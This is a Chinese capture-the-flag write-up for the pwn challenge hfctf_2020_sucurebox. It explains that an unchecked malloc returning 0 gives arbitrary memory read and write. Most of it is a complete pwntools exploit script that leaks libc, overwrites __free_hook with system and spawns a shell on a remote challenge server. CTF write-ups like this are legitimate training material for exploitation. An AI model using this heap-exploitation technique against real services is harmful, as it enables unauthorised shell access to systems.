0%

hfctf_2020_sucurebox(0地址引用)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,在add功能里,size的判断不准确,导致size可以很大,使得malloc(size)返回0,但是没有检查malloc的返回值

然后,edit功能里可以指定offset和len,这样,我们就能在整个内存里进行读写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#coding:utf8
from pwn import *

#sh = process('./hfctf_2020_sucurebox')
sh = remote('node3.buuoj.cn',25367)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def add(size):
sh.sendlineafter('5.Exit','1')
sh.sendlineafter('Size:',str(size))
sh.recvuntil('Key:')
sh.recvuntil('\n')
strs = sh.recvuntil('\n',drop = True).strip().split(' ')
data = []
for x in strs:
if x == '':
continue
data.append(int(x,16))
return data

def delete(index):
sh.sendlineafter('5.Exit','2')
sh.sendlineafter('Box ID:',str(index))

def enc(index,off,len,msg):
sh.sendlineafter('5.Exit','3')
sh.sendlineafter('Box ID:',str(index))
sh.sendlineafter('Offset of msg:',str(off))
sh.sendlineafter('Len of msg:',str(len))
sh.sendafter('Msg:',msg)

def show(index,off,len):
sh.sendlineafter('5.Exit','4')
sh.sendlineafter('Box ID:',str(index))
sh.sendlineafter('Offset of msg:',str(off))
sh.sendlineafter('Len of msg:',str(len))

def tranLong(data):
if data & 0x8000000000000000 != 0:
return data - 0x10000000000000000
else:
return data

for i in range(8):
add(0x200)
for i in range(1,8):
delete(i)
delete(0)
key = add(0x200) #0
data = '/bin/sh\x00'
ans = ''
for i in range(8):
ans += p8(ord(data[i]) ^ key[i])
enc(0,0,0x8,ans)

for i in range(7):
add(0x200)

show(7,0x8,0x8)
sh.recvuntil('Msg:')
sh.recvuntil('\n')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#malloc返回0,由于程序没有检查,所以可以任意地址读写
key = add(tranLong(0xFFFFFFFF00000FFF))
data = p64(system_addr)
ans = ''
for i in range(8):
ans += p8(ord(data[i]) ^ key[i])
enc(8,tranLong(free_hook_addr),8,ans)
#getshell
delete(0)

sh.interactive()